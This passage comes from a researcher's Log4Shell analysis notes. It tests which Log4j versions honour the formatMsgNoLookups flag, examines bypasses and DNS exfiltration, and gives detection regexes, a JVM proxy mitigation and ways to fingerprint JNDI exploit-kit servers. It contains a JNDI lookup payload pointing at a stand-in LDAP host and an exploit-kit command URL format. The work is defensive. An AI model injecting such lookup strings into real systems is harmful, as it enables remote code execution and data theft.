```bash 432 | # "data.txt" file created using this page html content: 433 | # https://archive.apache.org/dist/logging/log4j/ 434 | $ head -5 data.txt 435 | [DIR] 2.0-alpha1/ 2016-05-30 04:49 - 436 | [DIR] 2.0-alpha2/ 2016-05-30 04:49 - 437 | [DIR] 2.0-beta1/ 2016-05-30 04:49 - 438 | [DIR] 2.0-beta2/ 2016-05-30 04:49 - 439 | [DIR] 2.0-beta3/ 2016-05-30 04:49 - 440 | $ cat data.txt | cut -d'/' -f1 | cut -d' ' -f2 | sort > versions.txt 441 | $ head -5 versions.txt 442 | 2.0 443 | 2.0-alpha1 444 | 2.0-alpha2 445 | 2.0-beta1 446 | 2.0-beta2 447 | $ bash test.sh | grep "file contains the flag" 448 | 'log4j-core-2.10.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 449 | 'log4j-core-2.11.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 450 | 'log4j-core-2.11.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 451 | 'log4j-core-2.11.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 452 | 'log4j-core-2.12.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 453 | 'log4j-core-2.12.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 454 | 'log4j-core-2.12.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 455 | 'log4j-core-2.12.2-sources.jar' file contains the flag: 'log4j2.enableJndi'. 456 | 'log4j-core-2.13.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 457 | 'log4j-core-2.13.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 458 | 'log4j-core-2.13.2-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 459 | 'log4j-core-2.13.3-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 460 | 'log4j-core-2.14.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 461 | 'log4j-core-2.14.1-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 462 | 'log4j-core-2.15.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 463 | 'log4j-core-2.16.0-sources.jar' file contains the flag: 'log4j2.formatMsgNoLookups'. 464 | 'log4j-core-2.16.0-sources.jar' file contains the flag: 'log4j2.enableJndi'. 465 | ``` 466 | 467 | So based on the results above: 468 | * Flag `log4j2.formatMsgNoLookups` can be used on Log4j2 version **>= 2.10.0** ([source ref](https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/util/Constants.java#L67)). 469 | * Flag `log4j2.enableJndi` can be used on Log4j2 versions **2.12.2** and **2.16.0** only ([source ref](https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java#L76)). 470 | 471 | The following script was created and used in combination of a test Maven project using this [test class](https://gist.github.com/righettod/ce1570954242de2f8772c6f25eece77d#gistcomment-3995526) to identify in which versions **>= 2.10.0** the flag is `log4j2.formatMsgNoLookups` is effective or not: 472 | 473 | Script and POM file of the test project: 474 | 475 | ![293347b0e4ebb96b5a32975ae4ecd323.png](../_resources/293347b0e4ebb96b5a32975ae4ecd323.png) 476 | 477 | Execution with the security flag disabled to verify that the unit test is OK: 478 | 479 | ![47b8e44f08dbdeb1fe643fae42ac3c2c.png](../_resources/47b8e44f08dbdeb1fe643fae42ac3c2c.png) 480 | 481 | Execution with the security flag enabled to see the protection state: 482 | 483 | ![8cc2027fbfd5b8fe770477fc99d94998.png](../_resources/8cc2027fbfd5b8fe770477fc99d94998.png) 484 | 485 | So based on the results above: The flag is effective on versions **>= 2.10.0**. 486 | 487 | # Note about formatMsgNoLookups bypass 488 | 489 | This bypass was bring by the [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046). 490 | 491 | Below is a POC from [LunaSecIO](https://twitter.com/LunaSecIO) showing the vulnerability and its exploitation context: 492 | 493 | ![55e511ab5ac499f13a17fe6bef094403.png](../_resources/55e511ab5ac499f13a17fe6bef094403.png) 494 | 495 | Source: https://twitter.com/LunaSecIO/status/1470871128843251716 496 | 497 | A unit tests suite was created and used to perform some tests for the bypass of `log4j2.formatMsgNoLookups=true`: 498 | 499 | [Log4ShellExposureTestFormatMsgNoLookupsBypass.java](https://github.com/righettod/log4shell-analysis/blob/main/sandbox/src/test/java/eu/righettod/Log4ShellExposureTestFormatMsgNoLookupsBypass.java) 500 | 501 | Version **2.14.1** seems to be exposed to the bypass: 502 | 503 | ![8844536be52b20f086f6d0287c55f7ea.png](../_resources/8844536be52b20f086f6d0287c55f7ea.png) 504 | 505 | Version **2.15.0** do not seems to be exposed to the bypass: 506 | 507 | ![9e65cb9876e62566315c7bca34151c61.png](../_resources/9e65cb9876e62566315c7bca34151c61.png) 508 | 509 | Note that a usage of the `printf()` function, like for example `victim.printf(Level.INFO,"%s",TEST_PAYLOAD);`, have the same effect that using the `ThreadContext` combined with a expression in the log pattern: 510 | 511 | ![bca1d08014ebe058934ec05db8c4b851.png](../_resources/bca1d08014ebe058934ec05db8c4b851.png) 512 | 513 | ![c5a8d0c6efb9cf44b2f0f1c5a929937b.png](../_resources/c5a8d0c6efb9cf44b2f0f1c5a929937b.png) 514 | 515 | So a unit tests suite was also created for this bypass: 516 | 517 | [Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.java](https://github.com/righettod/log4shell-analysis/blob/main/sandbox/src/test/java/eu/righettod/Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf.java) 518 | 519 | On version **2.15.0** - By default: 520 | 521 | * JNDI with DNS protocol is not allowed: 522 | 523 | ![4ee4ba67f0c8bc519ecff2b7ec2860ce.png](../_resources/4ee4ba67f0c8bc519ecff2b7ec2860ce.png) 524 | 525 | * JNDI with LDAP(S) protocol require defining allowed hosts: 526 | 527 | ![9f16f7df7f14f9091be31c8fdbbcbb27.png](../_resources/9f16f7df7f14f9091be31c8fdbbcbb27.png) 528 | 529 | Regarding LDAP(S), a bypass of the validation against allowed hosts was identified: https://twitter.com/pwntester/status/1471465662975561734 530 | 531 | Regarding the following bypass disclosed on Twitter: 532 | 533 | ![313927e3ba8f8a4626b3f35880d5ae2f.png](../_resources/313927e3ba8f8a4626b3f35880d5ae2f.png) 534 | 535 | ![1758c686ff3a220a523359384d125920.png](../_resources/1758c686ff3a220a523359384d125920.png) 536 | 537 | Sources: 538 | 539 | * https://twitter.com/marcioalm/status/1471740771581652995 540 | * https://twitter.com/marcioalm/status/1471842702849286149 541 | 542 | It seems not effective on Java 17 ([current LTS](https://en.wikipedia.org/wiki/Java_version_history)) and Java 11 (previous LTS), at least, using a "standart" DNS listener: 543 | 544 | ![e6450a22f6c1cd29f11228946fe00599.png](../_resources/e6450a22f6c1cd29f11228946fe00599.png) 545 | 546 | ![5c78afd9a5886e5c6bb649789f9c97c8.png](../_resources/5c78afd9a5886e5c6bb649789f9c97c8.png) 547 | 548 | Some DNS client, like **dig**, perform some cleanup so the bypass become functional: 549 | 550 | ![1eb3f0dce6780f32a8bc8789b62d5bfa.png](../_resources/1eb3f0dce6780f32a8bc8789b62d5bfa.png) 551 | 552 | However, as the JVM (at least 8/11/17) do not perform any cleanup and take the value AS IS for the host then it raise an error about the invalid host name exception: `java.net.UnknownHostException` so my hypothesis (**perhaps I am totally wrong**) is that the bypass need a "lazy" DNS listener accepting characters normally not supported in a domain name (like `#`): 553 | 554 | ![5709dcfc4b1138c2f1d66b53607fa23b.png](../_resources/5709dcfc4b1138c2f1d66b53607fa23b.png) 555 | 556 | ⁉️ However, there is still questions in my head about how the not "normal" DNS query with the domain name find is way to the DNS listener of the attcker because it will pass before by "normal" DNS resolvers that will normally reject the DNS query...This point need specific investigation and real POC to be sure that is really effective! 557 | 558 | I have my reply thanks to the author of the tool: 559 | 560 | ![03825d83e194e1fd6ad9424365563164.png](../_resources/03825d83e194e1fd6ad9424365563164.png) 561 | 562 | Source: https://twitter.com/marcioalm/status/1472721497462489092 563 | 564 | So it's possible to exfiltrate data by DNS that do not follow the standart name of a sub domain. 565 | 566 | However, it do not work with listener services like dnslog.cn/interact.sh (include Burp Collaborator): 567 | 568 | **Test with dnslog.cn:** 569 | 570 | ![aa8cf0fc8f2d4d0d117b53689886d486.png](../_resources/aa8cf0fc8f2d4d0d117b53689886d486.png) 571 | 572 | ![182157e3c3a155bc42191d0396061479.png](../_resources/182157e3c3a155bc42191d0396061479.png) 573 | 574 | **Test with interact.sh** 575 | 576 | ![5268409280f31de07a7013e234f572ea.png](../_resources/5268409280f31de07a7013e234f572ea.png) 577 | 578 | ![0c073485244185cac60a1123157f26db.png](../_resources/0c073485244185cac60a1123157f26db.png) 579 | 580 | So, a custom DNS listener must be used, like [Knary](https://github.com/sudosammy/knary) for example, but, to summarize the exfiltration by DNS is really effective. 581 | 582 | The following script was used in combination of the unit test cases to verify which version **>= 2.10.0** is exposed to the bypass: 583 | 584 | *Utility script named testFormatMsgNoLookupsBypass.sh* 585 | 586 | ```bash 587 | #!/bin/bash 588 | echo "[+] JDK" 589 | java -version 590 | echo "[+] TEST" 591 | while IFS= read -r line 592 | do 593 | mvn -q -D"test=Log4ShellExposureTestFormatMsgNoLookupsBypass" -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=true" clean test 1>/dev/null 594 | rc1=$? 595 | mvn -q -D"test=Log4ShellExposureTestFormatMsgNoLookupsBypassWithPrintf" -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=true" clean test 1>/dev/null 596 | rc2=$? 597 | rc=$(($rc1 + $rc2)) 598 | echo ">>> RC: $rc" 599 | if [ $rc -ne 0 ] 600 | then 601 | echo "<<< Version $line flag log4j2.formatMsgNoLookups NOT effective." 602 | else 603 | echo "<<< Version $line flag log4j2.formatMsgNoLookups IS effective." 604 | fi 605 | done < "versions.txt" 606 | ``` 607 | 608 | *Execution* 609 | 610 | ![854d06de3aa3257384be6bb094ea492e.png](../_resources/854d06de3aa3257384be6bb094ea492e.png) 611 | 612 | So based on the results above: Version **2.12.2**, **2.15.0** and **2.16.0** seems not prone to the bypass. it reinforces the fact that update is the only *reliable* way regardring the 45046. 613 | 614 | # Identify formatMsgNoLookups bypass exposure in source code 615 | 616 | Even if it is better to use a [SAST](https://en.wikipedia.org/wiki/Static_application_security_testing) tool to identify weaknesses in source code, the following regexes can be used to quickly spot, across a code base, presence of the elements needed by the bypass: 617 | 618 | ## Search for ThreadContext class usage 619 | 620 | > Keycloak code base do not contains any reference to ThreadContext. I added them to test the regex on a large initial code base. 621 | 622 | **Bash:** 623 | 624 | ```bash 625 | $ grep -r --include "*.java" -nwE '(ThreadContext\.put|import\sorg\.apache\.logging\.log4j\.ThreadContext)' . 626 | ./saml-core/src/main/java/org/keycloak/rotation/HardcodedKeyLocator.java:25:import org.apache.logging.log4j.ThreadContext; 627 | ./saml-core/src/main/java/org/keycloak/rotation/HardcodedKeyLocator.java:59: ThreadContext.put("InsecureVariable", TEST_PAYLOAD); 628 | ... 629 | ``` 630 | 631 | **PowerShell:** 632 | 633 | ```powershell 634 | PS> Get-ChildItem -Path .\keycloak-main\ -Include "*.java" -Recurse | Select-String -Pattern "(ThreadContext\.put|import\sorg\.apache\.logging\.log4j\.ThreadContext)" -CaseSensitive 635 | keycloak-main\saml-core\src\main\java\org\keycloak\rotation\HardcodedKeyLocator.java:25:import org.apache.logging.log4j.ThreadContext; 636 | keycloak-main\saml-core\src\main\java\org\keycloak\rotation\HardcodedKeyLocator.java:59: ThreadContext.put("InsecureVariable", TEST_PAYLOAD); 637 | ... 638 | ``` 639 | 640 | ## Search for Thread Context Map usage 641 | 642 | > Keycloak code base do not contains any reference to Thread Context Map. I added them to test the regex on a large initial code base. 643 | 644 | Log4j2: 645 | * [Pattern layout documentation](https://logging.apache.org/log4j/2.x/manual/layouts.html) 646 | * [Configuration documentation](https://logging.apache.org/log4j/2.x/manual/configuration.html). 647 | 648 | **Bash:** 649 | 650 | ```bash 651 | $ grep -r --include "*.java" --include "*.properties" --include "*.xml" --include "*.json" --include "*.yaml" --include "*.yml" -nwE '%(X|mdc|MDC)\{\s*.*?\s*\}' . 652 | ./core/src/main/java/org/keycloak/Log4ShellExposureTestFormatMsgNoLookupsBypass.java:62: appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} %X{TEST}- %m%n")); 653 | ./testsuite/integration-arquillian/servers/app-server/jetty/common/src/test/resources/log4j.properties:5:log4j.appender.stdout.layout.ConversionPattern=%d{HH:mm:ss,SSS} %mdc{clientNumber2} %-5p %t %MDC{clientNumber3} [%c] %m%n 654 | ./testsuite/model/src/test/resources/log4j.properties:22:keycloak.testsuite.logging.pattern=%d{HH:mm:ss,SSS} %-5p %X{clientNumber} [%c] (%t) %m%n 655 | ``` 656 | 657 | **PowerShell:** 658 | 659 | ```powershell 660 | PS> Get-ChildItem -Path .\keycloak-main\ -Include "*.java","*.properties","*.xml","*.json","*.yaml","*.yml" -Recurse | Select-String -Pattern "%(X|mdc|MDC)\{\s*.*?\s*\}" -CaseSensitive 661 | keycloak-main\core\src\main\java\org\keycloak\Log4ShellExposureTestFormatMsgNoLookupsBypass.java:62: appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", 662 | "${ctx:InsecureVariable} %X{TEST}- %m%n")); 663 | keycloak-main\testsuite\integration-arquillian\servers\app-server\jetty\common\src\test\resources\log4j.properties:5:log4j.appender.stdout.layout.ConversionPattern=%d{HH:mm:ss,SSS} %mdc{clientNumber2} 664 | %-5p %t %MDC{clientNumber3} [%c] %m%n 665 | keycloak-main\testsuite\model\src\test\resources\log4j.properties:22:keycloak.testsuite.logging.pattern=%d{HH:mm:ss,SSS} %-5p %X{clientNumber} [%c] (%t) %m%n 666 | ... 667 | ``` 668 | 669 | 670 | ## Search for expression usage 671 | 672 | Another regex to identify usage of expressions based on log4j [prefixes](https://github.com/apache/logging-log4j2/blob/master/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/Interpolator.java#L103) like `${ctx:xxx}`, `${map:xxx}` ... 673 | 674 | **Bash:** 675 | 676 | ```bash 677 | $ grep -r --include "*.java" --include "*.properties" --include "*.xml" --include "*.json" --include "*.yaml" --include "*.yml" -nwE '\$\{\s*(ctx|log4j|sys|env|main|marker|java|base64|lower|upper|sd|map|jndi|jvmrunargs|date|event|bundle):.*?\s*\}' 678 | core/src/main/java/org/keycloak/Log4ShellExposureTestFormatMsgNoLookupsBypass.java:36: private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}"; 679 | core/src/main/java/org/keycloak/Log4ShellExposureTestFormatMsgNoLookupsBypass.java:62: appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", "${ctx:InsecureVariable} %X{TEST}- %m%n")); 680 | quarkus/runtime/src/main/java/org/keycloak/quarkus/runtime/cli/command/Main.java:56: "Keycloak ${sys:kc.version}", 681 | ... 682 | ``` 683 | 684 | **PowerShell**: 685 | ```powershell 686 | PS> Get-ChildItem -Path .\keycloak-main\ -Include "*.java","*.properties","*.xml","*.json","*.yaml","*.yml" -Recurse | Select-String -Pattern "\$\{\s*(ctx|log4j|sys|env|main|marker|java|base64|lower|upper|sd|map|jndi|jvmrunargs|date|event|bundle):.*?\s*\}" -CaseSensitive 687 | keycloak-main\core\src\main\java\org\keycloak\Log4ShellExposureTestFormatMsgNoLookupsBypass.java:36: private static final String TEST_PAYLOAD = "${jndi:ldap://donotexists.com/test}"; 688 | keycloak-main\core\src\main\java\org\keycloak\Log4ShellExposureTestFormatMsgNoLookupsBypass.java:62: appenderBuilder.add(builder.newLayout("PatternLayout").addAttribute("pattern", 689 | "${ctx:InsecureVariable} %X{TEST}- %m%n")); 690 | keycloak-main\quarkus\runtime\src\main\java\org\keycloak\quarkus\runtime\cli\command\Main.java:56: "Keycloak ${sys:kc.version}", 691 | ... 692 | ``` 693 | 694 | 695 | # Case of non patchable application 696 | 697 | It can happen a case in which an app do not support the last patched version of log4j due to different reasons like: old business application, app for which the vendor stopped the support, app for which the vendor do not exsits anymore and so on... 698 | 699 | If the app run on Java **<= 8** then the following idea can be tried: 700 | 701 | 💡 These versions of java (I have tested on Java 8) support an undocumented JVM property named `socksNonProxyHosts` allowing to leverage a SOCKS proxy as a "firewall" at JVM level. 702 | 703 | This property specify IPs/Hosts for which a SOCKS proxy **must not be applied**, so, using the associated official [SOCKS properties](https://docs.oracle.com/javase/8/docs/technotes/guides/net/proxies.html) (*section 2.4*) `socksProxyHost / socksProxyPort`, it is possible to define a whitelist of IPs/Hosts (via the JVM) to which the app can connect to. 704 | 705 | **Test sample code:** 706 | 707 | The code try to contact an internal and a external hosts via an HTTP GET request, access to the external host is not expected in this case. 708 | 709 | ![956b6e4a081325eb02d67fb29722bce1.png](../_resources/956b6e4a081325eb02d67fb29722bce1.png) 710 | 711 | **Test on Java 8:** Property `socksNonProxyHosts` supported 712 | 713 | ![518d2dbb1493aabfa352583aec24b324.png](../_resources/518d2dbb1493aabfa352583aec24b324.png) 714 | 715 | **Test on Java 11:** Property `socksNonProxyHosts` not supported 716 | 717 | ![e930cf4a7c9e3ddf29a853ad9a99fec3.png](../_resources/e930cf4a7c9e3ddf29a853ad9a99fec3.png) 718 | 719 | **Test on Java 17:** Property `socksNonProxyHosts` not supported 720 | 721 | ![6fa251c292e09e04c1393746aad1060c.png](../_resources/6fa251c292e09e04c1393746aad1060c.png) 722 | 723 | I have tested on Java 8/11/17 because they are [Long-Term Support](https://en.wikipedia.org/wiki/Java_version_history) (LTS) official versions. 724 | 725 | ‼️ Ensure that no HTTP/HTTPS/FTP proxy is defined via its associated properties because it have a higher priority, below is an extract of the [documentation](https://docs.oracle.com/javase/8/docs/technotes/guides/net/proxies.html): 726 | 727 | ![d90cdc0be28eb2de9b3d99027433b064.png](../_resources/d90cdc0be28eb2de9b3d99027433b064.png) 728 | 729 | # Note about exposure to DOS by CVE-2021-45105 730 | 731 | This issue was bring by the [CVE-2021-45105](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105). 732 | 733 | The following unit test case was provided to detect exposure: 734 | 735 | [Log4ShellDOSExposureTest.java](https://github.com/righettod/log4shell-analysis/blob/main/sandbox/src/test/java/eu/righettod/Log4ShellDOSExposureTest.java) 736 | 737 | The following script, named `testDOSExposure.sh`, was created and used in combination with the unit test above to identify which version was affected: 738 | 739 | ```bash 740 | #!/bin/bash 741 | echo "[+] JDK" 742 | java -version 743 | echo "[+] TEST" 744 | while IFS= read -r line 745 | do 746 | mvn -q -D"test=Log4ShellDOSExposureTest" -D"log4j2.target.version=$line" -D"log4j2.formatMsgNoLookups=true" clean test 1>/dev/null 2>&1 747 | rc=$? 748 | if [ $rc -ne 0 ] 749 | then 750 | echo "[RC: $rc] Version $line IS vulnerable." 751 | else 752 | echo "[RC: $rc] Version $line IS NOT vulnerable." 753 | fi 754 | done < "all-versions.txt" 755 | ``` 756 | 757 | Below is the result of its execution - The flag `log4j2.formatMsgNoLookups` was enabled to perform the test with all defensive measures actives on versions supporting it: 758 | 759 | ![9fc205bf45e2b9616f7138da0653139d.png](../_resources/9fc205bf45e2b9616f7138da0653139d.png) 760 | 761 | Not all versions below the **2.17.0** were exposed and the results is interesting. Indeed, old version like for example **2.4** (2016-05-30) is not vulnerable but a recent version like for example **2.14.1** (2021-03-12) is vulnerable. 762 | 763 | So, it is important to test the version used because exposure is not systematic! 764 | 765 | A test was performed on Java8 on a non-vulnerable version and even if an OutOfMemory error occurs, the main program continue and finish normally: 766 | 767 | ![f10ca4a1152363b71641fcf6400557a9.png](../_resources/f10ca4a1152363b71641fcf6400557a9.png) 768 | 769 | On the **2.4**, the OutOfMemory error is not triggered at all: 770 | 771 | ![f2b86462af2261f96c3753b03558242c.png](../_resources/f2b86462af2261f96c3753b03558242c.png) 772 | 773 | Same behavior for **2.4.1** and **2.5**: 774 | 775 | ![177779480e61d8d50c8d29bc0713fc85.png](../_resources/177779480e61d8d50c8d29bc0713fc85.png) 776 | 777 | ![d5a0ff95685ddb90d706daa375ae882e.png](../_resources/d5a0ff95685ddb90d706daa375ae882e.png) 778 | 779 | # Note about JNDI-Exploit-Kit 780 | 781 | During my work with my mates [Paul Jung](https://www.linkedin.com/in/jungpaul)/[Sébastien Kaiser](https://www.linkedin.com/in/s%C3%A9bastien-kaiser-a1808582/) from [CERT-XLM](https://excellium-services.com/services/cert-xlm/)/[SOC](https://excellium-services.com/services/eyeguard/), I have remarked the following thing. Sometime the tool [JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit) is used. 782 | 783 | By exploring it locally, I noticed that its web server (Jetty) appear as a **abyss** service: 784 | 785 | ![4a80de42803d382f0ffbf6ad5573cea3.png](../_resources/4a80de42803d382f0ffbf6ad5573cea3.png) 786 | 787 | ![7fa7a02c858f9967703de2a338f3c5c2.png](../_resources/7fa7a02c858f9967703de2a338f3c5c2.png) 788 | 789 | Payload java compiled class are served by the web server using this URL format: `http://[HOST]:[PORT]/ExecTemplateJDK5.class` 790 | 791 | The name of the class file have this format: `ExecTemplateJDK[0-9].class`: 792 | 793 | ![1cb74c7fa340bca9961a758a91e1c59a.png](../_resources/1cb74c7fa340bca9961a758a91e1c59a.png) 794 | 795 | So, it is possible once the web port was identified, to try downloading all templates class files compiled with the configured command using [FFUF](https://github.com/ffuf/ffuf): 796 | 797 | ```bash 798 | $ ffuf -c -w nbr.txt -u "http://127.0.0.1:9999/ExecTemplateJDKFUZZ.class" -fs 0 799 | ``` 800 | 801 | 802 | ![ce2500904ac46adffbebb93521119a80.png](../_resources/ce2500904ac46adffbebb93521119a80.png) 803 | 804 | 805 | # Note about the exploit kit named JNDIExploit 806 | 807 | During my work on this [tool](https://github.com/righettod/log4shell-payload-grabber), I discovered the following exploit kit: 808 | * https://github.com/fengzhouc/JNDIExploit 809 | * https://github.com/veracode-research/rogue-jndi 810 | 811 | The first one, named **JNDIExploit**, raised my attention because it was supporting the URL format that I was often seeing during my work with CERT-XLM/SOC: `ldap://[HOST]:[PORT]/Basic/Command/Base64/[BASE64_ENCODED_COMMAND]` 812 | 813 | For the following payload mode, the class name was composed by a suffix of 9 characters (charset `[0-9A-Za-z]{9}`) making the class name unique to each LDAP URL call: 814 | 815 | ![4f6331ce3e2fc85975b7578d724666e7.png](../_resources/4f6331ce3e2fc85975b7578d724666e7.png) 816 | 817 | ![1306e199154435e85f333b8075499760.png](../_resources/1306e199154435e85f333b8075499760.png) 818 | 819 | ![804db11902e68e9baa9379414d5feb71.png](../_resources/804db11902e68e9baa9379414d5feb71.png) 820 | 821 | Example with several call to the same payload delivery LDAP URL with the same command: 822 | 823 | ![51ce94949b2ae7a6f6011a5a14e6ed39.png](../_resources/51ce94949b2ae7a6f6011a5a14e6ed39.png) 824 | 825 | So it made a brute force operation hard due to the charset. However, the other payload modes, the name of the class was static including the name of the "developer" in the package name: 826 | 827 | ![52b903901e23eaaa20e242d4c6027351.png](../_resources/52b903901e23eaaa20e242d4c6027351.png) 828 | 829 | ![93627fbbb3394b65e79b09d83b6df868.png](../_resources/93627fbbb3394b65e79b09d83b6df868.png) 830 | 831 | ```java 832 | String TOMCAT = "com.feihong.ldap.template.TomcatMemshellTemplate"; 833 | String JETTY = "com.feihong.ldap.template.JettyMemshellTemplate"; 834 | String WEBLOGIC = "com.feihong.ldap.template.WeblogicMemshellTemplate"; 835 | String JBOSS = "com.feihong.ldap.template.JBossMemshellTemplate"; 836 | String WEBSPHERE = "com.feihong.ldap.template.WebsphereMemshellTemplate"; 837 | String SPRING = "com.feihong.ldap.template.SpringMemshellTemplate"; 838 | ``` 839 | 840 | The URL became the following: 841 | 842 | ![6471540616f2b56f3692c78377d1cec1.png](../_resources/6471540616f2b56f3692c78377d1cec1.png) 843 | 844 | ![12986762049ae62e076290dc632b7c93.png](../_resources/12986762049ae62e076290dc632b7c93.png) 845 | 846 | So, using FFUF like used for [JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit), it is possible to grab the class to identify: 847 | * Usage of **JNDIExploit**. 848 | * The execution command defined when the kit was started (if applicable). 849 | 850 | For the record, the web server is recognized by NMAP as a JBOSS app server even if it is a embedded web server using the JDK classes `com.sun.net.httpserver.*`: 851 | 852 | ![3c0e46923da3c81f6f2ae672178030c1.png](../_resources/3c0e46923da3c81f6f2ae672178030c1.png) 853 | 854 | # Note about exposure to RCE by CVE-2021-44832 855 | 856 | This issue was bring by the [CVE-2021-44832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832). This analysis is based on the [blog post](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/?s=03) created by the company that discovered the vulnerability. 857 | 858 | ℹ️ The vulnerability is explained in the blog post so I focused on exploitation context while keeping the previous CVEs in mind. 859 | 860 | To be able to exploit the vulnerability, an attacker need the following conditions: 861 | * **Case 1:** Being able to act on the log4j configuration loaded by the app. For example by controlling the configuration location or the appender parts of the configuration to add/alter a [JdbcAppender](https://logging.apache.org/log4j/2.x/manual/appenders.html#JDBCAppender). 862 | * **Case 2:** The targeted existing log4j configuration must use a [JdbcAppender](https://logging.apache.org/log4j/2.x/manual/appenders.html#JDBCAppender) for which the attacker must be able to act on the loading location of the [DataSource](https://logging.apache.org/log4j/2.x/manual/appenders.html#JDBCDataSource). 863 | 864 | Indeed, as the **DataSource** property of the **JdbcAppender** support JNDI lookup, via the attribute **jndiName**, then we fall back on the previous CVEs and log4shell by extension. 865 | 866 | ❗ It is important to note that, once loaded, a configuration is not reloaded automatically **by default**. So, if an attacker achieve to alter a existing configuration then **he must be also able to instruct the app/log4j to reload the altered configuration if an automatic reconfiguration interval is not explicitly defined**. 867 | 868 | Take a look at this [demonstration](https://raw.githubusercontent.com/righettod/log4shell-analysis/main/videos/CVE-2021-44832_TestCfgAutoReload.mp4) to see that the configuration is not automatically reloaded by default. 869 | 870 | Extract from the documentation about the [Automatic Reconfiguration](https://logging.apache.org/log4j/2.x/manual/configuration.html#AutomaticReconfiguration): 871 | 872 | ![7d7b37f3c825c3483732a60be2cbca20.png](../_resources/7d7b37f3c825c3483732a60be2cbca20.png) 873 | 874 | 💡 **To summarize:** The vulnerability is real **BUT** it requires specific conditions that are not common for an app. Indeed, allowing the external sphere to control the log4j configuration location/content is rare, at least, I never seen this... 875 | 876 | 🗓️ The upgrade must be scheduled but using your standard patching process, not with the same urgency than for the previous CVEs related to log4shell. 877 | 878 | ⚠️ **Personal point fo view:** Keep in mind that this CVE and the blog post come from a vendor of security tools, so, the CVE/blog post are both part of a marketing strategy as we are near to a new year: 879 | 880 | ![ca8aa1934de265d795e1501f66a383c7.png](../_resources/ca8aa1934de265d795e1501f66a383c7.png) 881 | 882 | Below are regexes to identify in your code base if you are using a [JdbcAppender](https://logging.apache.org/log4j/2.x/manual/appenders.html#JDBCAppender) with a [DataSource](https://logging.apache.org/log4j/2.0/manual/appenders.html#JDBCDataSource). It allow you to take a look at the exposure of the configuration against [CVE-2021-44832](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44832) and then define the patching agenda: 883 | 884 | Note about the proposed regexes: 885 | * For the **Properties** configuration file type, if **connectionSource.type** is set to **DataSource** then there is a JNDI name associated to the configuration. 886 | * Focus for this CVE was made on **XML** and **Properties** file types because there are the most commons ones used. 887 | 888 | **Bash:** 889 | 890 | ```bash 891 | $ grep -r --include "*.xml" --include "*.properties" -nwE '(DataSource\s.*?jndiName|connectionSource\.type\s*=\s*DataSource)' . 892 | ./sandbox/src/main/resources/log4j2-poc.xml:5: 893 | ./sandbox/src/main/resources/log4j2.properties:7:appender.db.connectionSource.type = DataSource 894 | ./sandbox/target/classes/log4j2-poc.xml:5: 895 | ``` 896 | 897 | 898 | **PowerShell:** 899 | 900 | ```powershell 901 | PS> Get-ChildItem -Path $pwd -Include "*.properties","*.xml" -Recurse | Select-String -Pattern "(DataSource\s.*?jndiName|connectionSource\.type\s*=\s*DataSource)" -CaseSensitive 902 | sandbox\src\main\resources\log4j2-poc.xml:5: 903 | sandbox\src\main\resources\log4j2.properties:7:appender.db.connectionSource.type = DataSource 904 | sandbox\target\classes\log4j2-poc.xml:5: 905 | ``` 906 | 907 | 908 | 909 | 910 | 911 | 912 | 913 | 914 | 915 | 916 | 917 | 918 | 919 | 920 | 921 | 922 | 923 | 924 | 925 | 926 | 927 | 928 | 929 | 930 | 931 | 932 | 933 | 934 | 935 | 936 | 937 | 938 | 939 | 940 | 941 | 942 | 943 | 944 | 945 | 946 | 947 | 948 | 949 | 950 | 951 | 952 | 953 | 954 | 955 | -------------------------------------------------------------------------------- /analysis/_resources/03825d83e194e1fd6ad9424365563164.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/03825d83e194e1fd6ad9424365563164.png -------------------------------------------------------------------------------- /analysis/_resources/090b547c2ee9577d049d5f06a366a255.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/090b547c2ee9577d049d5f06a366a255.png -------------------------------------------------------------------------------- /analysis/_resources/0c073485244185cac60a1123157f26db.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/righettod/log4shell-analysis/3df46daff65aa70de2e04da889a94878cea39d9b/analysis/_resources/0c073485244185cac60a1123157f26db.png -------------------------------------------------------------------------------- /analysis/_resources/0de487df59902062298285c682c8c49d.png: -------------------------------------------------------------------------------- 